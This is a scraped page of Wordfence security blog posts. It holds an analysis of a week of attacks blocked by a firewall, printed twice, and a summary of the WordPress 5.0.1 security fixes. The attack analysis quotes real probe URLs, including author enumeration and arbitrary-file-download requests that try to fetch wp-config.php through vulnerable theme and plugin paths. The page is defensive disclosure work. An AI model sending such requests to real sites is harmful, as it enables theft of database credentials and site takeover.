We couldn’t be more excited about launching Wordfence Central this week. We hope it will make life easier for you, whether you manage three sites or three thousand. New features are already in the works, so expect to see additional functionality released throughout the year.

As always we’d love to hear from you in the comments and we hope you can join us for tomorrow’s live-stream demo and Q&A!

The post Introducing Wordfence Central appeared first on Wordfence.

Read More

Analyzing a Week of Blocked Attacks

If you’ve never taken a few minutes to look at the information available in the Wordfence Live Traffic feature, I strongly recommend it. It gives you a detailed look at what attackers are trying to do to break into your site, and how Wordfence is blocking them.

For today’s post we analyzed all of the blocked attacks on Defiant.com for a week. In order to see them in Live Traffic, I simply selected “Blocked by Firewall” from the “filter traffic” drop-down above the data table.

What Attackers Were Up To

For the week there were a total of 223 attacks blocked. I was excited to see that all of them were blocked by the Wordfence real-time IP blacklist. We are used to seeing really high percentages blocked by our blacklist – usually in the high 90s. The real-time IP blacklist is a Premium feature that blocks all requests from IPs that are actively attacking WordPress sites.

Attacks originated from 14 unique IP addresses from around the world. Of the countries represented, Germany was the origin for the most attacks at 85. India was second with 61 and France was third with 45. Other countries represented were Ukraine, South Africa, China, Italy and the United Kingdom.

Next we’ll break down what they were trying to do to break in.

Reconnaissance

Five of the IPs appeared to just be performing reconnaissance, as they were simply requesting our home page or some other page on the site. They were likely just checking to see if the site was up and responding to their requests. Since all of the IPs were on the Wordfence real-time IP blacklist, their requests were blocked and they moved on after a couple of blocked page requests.

Author Enumeration

A Chinese IP attempted to retrieve a list of author usernames for the site. Since the authors of posts are very often also administrators, this information can significantly improve the odds of success for a brute force password guessing attack. The attacks all look like the following:

https://www.defiant.com/?author=1

The attacker worked through fifteen author numbers before giving up and moving on. In the Wordfence “Brute Force Protection” settings, look for the following option to enable this feature:

“Prevent discovery of usernames through ‘/?author=N’ scans, the oEmbed API, and the WordPress REST API”

Once you enable this, Wordfence will block these scans. This option is enabled by default and is available for both free and premium users.

We have blocked 382,131 attacks from that IP in the last 7 days across all of our customers. It seems quite likely that had the attempt to retrieve usernames been successful, attempts to log in using lists of common passwords would have followed.

Login Attempts Via XML-RPC

Sixty Three of the blocked attacks were attempts to log in to the site via the XML-RPC interface, which is an API developers can use to communicate with WordPress sites. We see a high percentage of brute force password guessing attempts hit this interface.

In our case we saw a single IP from Chennai, India attempt 61 login attempts in the period of just over an hour. Two other IPs, one in Hong Kong and another in Italy, made just one attempt each. They most likely moved on because they were blocked.

Login Attempts Via wp-login.php

We had just one IP attempt to login via the interface you use to login your site. The first attempt to login was followed immediately by an attempt to access our home page. The script was most likely checking to see if they were only being blocked from accessing the login page or the entire site. A second attempt following the same pattern occurred just two minutes later. We didn’t see additional attempts from that IP. I assume the attacker’s bot is programmed to move on if it’s blocked twice in a row.

A French IP Probes for Opportunities

A single French IP sent 43 requests in a 33 second burst. The first was a simple home page request, which I assume was an attempt to verify the site was up and accepting requests. Surprisingly the attack continued despite being consistently blocked by the Wordfence firewall. The following are a few examples of what the attacker was up to.

One request was checking for the existence of a known malicious file, commonly used by attackers to upload files to hacked websites. The request looks like this:

https://www.defiant.com/wp-upload-class.php

Another interesting request was looking for opportunities to exploit fresh WordPress installs, which we wrote about in July of 2017. Here’s what the request looks like:

https://www.defiant.com/wp-admin/setup-config.php?step=1

We also saw two attempts to find a copy of searchreplacedb2.php laying around. In July of 2017 we wrote about how hackers use the searchreplacedb2.php script to make malicious database changes. Here’s an example request:

https://www.defiant.com/searchreplacedb2.php

A German IP Probes for Opportunities

A single IP from Hirschfield, Germany attacked our site 85 times in just under two minutes. Most of the attacks were repeats of what we saw from the French IP. So it’s possible that it was a different bot at work for the same attacker. However, this IP also attempted to exploit a number of known theme and plugin vulnerabilities.

All of these attempts to exploit known vulnerabilities were trying to download the wp-config.php file, which is a WordPress file that includes the database credentials for the site. If successful, these attacks would give the attacker an easy route to obtaining administrative control of target website.

In one example, the attacker is attempting to exploit an arbitrary file download vulnerability in the “Epic” theme that was disclosed way back in 2014.

https://www.defiant.com/wp-content/themes/epic/includes/download.php?file=wp-config.php

In another, the attacker is trying to exploit a different arbitrary file download vulnerability – this time in the WP Hide & Security Enhancer plugin. The vulnerability was disclosed less than six months ago.

https://www.defiant.com/wp-content/plugins/wp-hide-security-enhancer/router/file-process.php?action=style-clean&file_path=%2Fwp-config.php

It’s important to note that we are not running any of the themes or plugins this attacker is attempting to exploit on Defiant.com. Many of the attacks on WordPress sites are what we often refer to as “spray and pray” attacks, where the attacker simply tries hundreds or thousands of exploit attempts hoping to get lucky. It’s likely that attack volumes are lower for Defiant.com because it’s protected by the Wordfence real-time IP blacklist. Like you, attackers don’t want to waste resources. If all of their attacks are being blocked they will move on to an easier target.

Conclusion

As you know, WordPress sites are under constant attack. There are many attackers, all of whom deploy different tactics. The free version of Wordfence includes protection for all of the attacks outlined above. For even better peace of mind, and likely lower attack volumes, consider upgrading to Wordfence Premium. For only $8.25 per month (billed annually) you can put the Wordfence real-time IP blacklist to work protecting your site around the clock.

The post Analyzing a Week of Blocked Attacks appeared first on Wordfence.

Read More

Analyzing a Week of Blocked Attacks

If you’ve never taken a few minutes to look at the information available in the Wordfence Live Traffic feature, I strongly recommend it. It gives you a detailed look at what attackers are trying to do to break into your site, and how Wordfence is blocking them.

For today’s post we analyzed all of the blocked attacks on Defiant.com for a week. In order to see them in Live Traffic, I simply selected “Blocked by Firewall” from the “filter traffic” drop-down above the data table.

What Attackers Were Up To

For the week there were a total of 223 attacks blocked. I was excited to see that all of them were blocked by the Wordfence real-time IP blacklist. We are used to seeing really high percentages blocked by our blacklist – usually in the high 90s. The real-time IP blacklist is a Premium feature that blocks all requests from IPs that are actively attacking WordPress sites.

Attacks originated from 14 unique IP addresses from around the world. Of the countries represented, Germany was the origin for the most attacks at 85. India was second with 61 and France was third with 45. Other countries represented were Ukraine, South Africa, China, Italy and the United Kingdom.

Next we’ll break down what they were trying to do to break in.

Reconnaissance

Five of the IPs appeared to just be performing reconnaissance, as they were simply requesting our home page or some other page on the site. They were likely just checking to see if the site was up and responding to their requests. Since all of the IPs were on the Wordfence real-time IP blacklist, their requests were blocked and they moved on after a couple of blocked page requests.

Author Enumeration

A Chinese IP attempted to retrieve a list of author usernames for the site. Since the authors of posts are very often also administrators, this information can significantly improve the odds of success for a brute force password guessing attack. The attacks all look like the following:

https://www.defiant.com/?author=1

The attacker worked through fifteen author numbers before giving up and moving on. In the Wordfence “Brute Force Protection” settings, look for the following option to enable this feature:

“Prevent discovery of usernames through ‘/?author=N’ scans, the oEmbed API, and the WordPress REST API”

Once you enable this, Wordfence will block these scans. This option is enabled by default and is available for both free and premium users.

We have blocked 382,131 attacks from that IP in the last 7 days across all of our customers. It seems quite likely that had the attempt to retrieve usernames been successful, attempts to log in using lists of common passwords would have followed.

Login Attempts Via XML-RPC

Sixty Three of the blocked attacks were attempts to log in to the site via the XML-RPC interface, which is an API developers can use to communicate with WordPress sites. We see a high percentage of brute force password guessing attempts hit this interface.

In our case we saw a single IP from Chennai, India attempt 61 login attempts in the period of just over an hour. Two other IPs, one in Hong Kong and another in Italy, made just one attempt each. They most likely moved on because they were blocked.

Login Attempts Via wp-login.php

We had just one IP attempt to login via the interface you use to login your site. The first attempt to login was followed immediately by an attempt to access our home page. The script was most likely checking to see if they were only being blocked from accessing the login page or the entire site. A second attempt following the same pattern occurred just two minutes later. We didn’t see additional attempts from that IP. I assume the attacker’s bot is programmed to move on if it’s blocked twice in a row.

A French IP Probes for Opportunities

A single French IP sent 43 requests in a 33 second burst. The first was a simple home page request, which I assume was an attempt to verify the site was up and accepting requests. Surprisingly the attack continued despite being consistently blocked by the Wordfence firewall. The following are a few examples of what the attacker was up to.

One request was checking for the existence of a known malicious file, commonly used by attackers to upload files to hacked websites. The request looks like this:

https://www.defiant.com/wp-upload-class.php

Another interesting request was looking for opportunities to exploit fresh WordPress installs, which we wrote about in July of 2017. Here’s what the request looks like:

https://www.defiant.com/wp-admin/setup-config.php?step=1

We also saw two attempts to find a copy of searchreplacedb2.php laying around. In July of 2017 we wrote about how hackers use the searchreplacedb2.php script to make malicious database changes. Here’s an example request:

https://www.defiant.com/searchreplacedb2.php

A German IP Probes for Opportunities

A single IP from Hirschfield, Germany attacked our site 85 times in just under two minutes. Most of the attacks were repeats of what we saw from the French IP. So it’s possible that it was a different bot at work for the same attacker. However, this IP also attempted to exploit a number of known theme and plugin vulnerabilities.

All of these attempts to exploit known vulnerabilities were trying to download the wp-config.php file, which is a WordPress file that includes the database credentials for the site. If successful, these attacks would give the attacker an easy route to obtaining administrative control of target website.

In one example, the attacker is attempting to exploit an arbitrary file download vulnerability in the “Epic” theme that was disclosed way back in 2014.

https://www.defiant.com/wp-content/themes/epic/includes/download.php?file=wp-config.php

In another, the attacker is trying to exploit a different arbitrary file download vulnerability – this time in the WP Hide & Security Enhancer plugin. The vulnerability was disclosed less than six months ago.

https://www.defiant.com/wp-content/plugins/wp-hide-security-enhancer/router/file-process.php?action=style-clean&file_path=%2Fwp-config.php

It’s important to note that we are not running any of the themes or plugins this attacker is attempting to exploit on Defiant.com. Many of the attacks on WordPress sites are what we often refer to as “spray and pray” attacks, where the attacker simply tries hundreds or thousands of exploit attempts hoping to get lucky. It’s likely that attack volumes are lower for Defiant.com because it’s protected by the Wordfence real-time IP blacklist. Like you, attackers don’t want to waste resources. If all of their attacks are being blocked they will move on to an easier target.

Conclusion

As you know, WordPress sites are under constant attack. There are many attackers, all of whom deploy different tactics. The free version of Wordfence includes protection for all of the attacks outlined above. For even better peace of mind, and likely lower attack volumes, consider upgrading to Wordfence Premium. For only $8.25 per month (billed annually) you can put the Wordfence real-time IP blacklist to work protecting your site around the clock.

The post Analyzing a Week of Blocked Attacks appeared first on Wordfence.

Read More

WordPress 5.0.1 Security Release – Immediate Update Recommended

WordPress 5.0.1 was released Wednesday night, less than a week after the much anticipated release of WordPress 5.0. This security release fixes seven security vulnerabilities, a few of which are quite serious.

Sites running versions in the 4.x branch of WordPress core are also impacted by some of the issues. WordPress 4.9.9 was released along with 5.0.1 to address the issues for those users.

We have not seen attempts to exploit these vulnerabilities in the wild yet, but given the number of sites impacted we expect that to change.

The speed at which these security issues were discovered, reported and fixed is a testament to the strength of the WordPress community working together.

Vulnerability Details

Sensitive Data Exposure

Team Yoast discovered that the user activation screen could be indexed by search engines in some uncommon configurations, leading to exposure of email addresses, and in some rare cases, default generated passwords. WordPress has addressed this by stripping the activation key used in the URL, and storing the value in a cookie instead.

PHP Object Injection

Sam Thomas discovered that contributors could craft meta data in a way that resulted in PHP object injection. This looks to be similar to the 2 arbitrary file delete vulnerabilities fixed in WordPress 4.9.6. This vulnerability allows an author to assign an arbitrary file path to an attachment. The file path supplied by the author uses the phar:// stream wrapper on a previously uploaded attachment which leads to object injection utilizing a “feature” of the PHAR file type which stores serialized objects in the metadata of the PHAR file. Sam Thomas presented this technique at BlackHat earlier this year.

Unauthorized Post Creation

Simon Scannell of RIPS Technologies discovered that authors could create posts of unauthorized post types with specially crafted input. The requirement that an attacker would need at least ‘author’ level privileges makes the likelihood of this being exploited on a widespread basis very low.

Privilege Escalation / XSS

Tim Coen discovered that contributors could edit new comments from higher-privileged users, potentially leading to a cross-site scripting vulnerability. This is another vulnerability that requires a higher-level user role, making the likelihood of widespread exploitation quite low. WordPress addressed this issue by removing the <form> tag from their HTML whitelist.

Privileged XSS

Tim Coen and Slavco discovered that users with ‘author’ privileges on Apache-hosted sites could upload specifically crafted files that bypass MIME verification, leading to a cross-site scripting vulnerability. Yet again, the ‘author’ level user requirement makes an unlikely target for attackers.

XSS That Could Impact Some Plugins

Tim Coen also discovered that specially crafted URL inputs could lead to a cross-site scripting vulnerability in some circumstances. The code change in WordPress core affects the wpmu_admin_do_redirect function which is not used in WordPress, but a plugin may call this function somewhere.

Unauthorized File Deletion

Karim El Oeurghemmi discovered that author-level users could alter metadata to delete files that they weren’t authorized to. This issue stems from the 2 arbitrary file delete vulnerabilities fixed in WordPress 4.9.6. The fix in WordPress addressed how attachment files are deleted, by restricting the file paths to the uploads directory, but did not address the issue of authors having the ability to change the attachment paths to arbitrary files. An author can use this to delete other users’ attachments.

What To Do

We have released firewall rules to protect our Premium customers against the vulnerabilities most likely to be exploited. Sites running the free version of Wordfence will receive them in 30 days.

Sites on WordPress 5.0 should update to version 5.0.1 as soon as possible. Those with automatic updates enabled for WordPress core should have already been updated, but given the nature of the vulnerabilities we recommend you check your sites manually just in case.

Sites running WordPress 4.x versions should update to version 4.9.9 as soon as possible. We’ve heard conflicting reports about automatic updates working for this upgrade. If you need to manually upgrade, the 4.9.9 update can be downloaded here.

You can find the official release announcement from the WordPress team here.

The post WordPress 5.0.1 Security Release – Immediate Update Recommended appeared first on Wordfence.

Read More
Page 1 of 612345»...Last »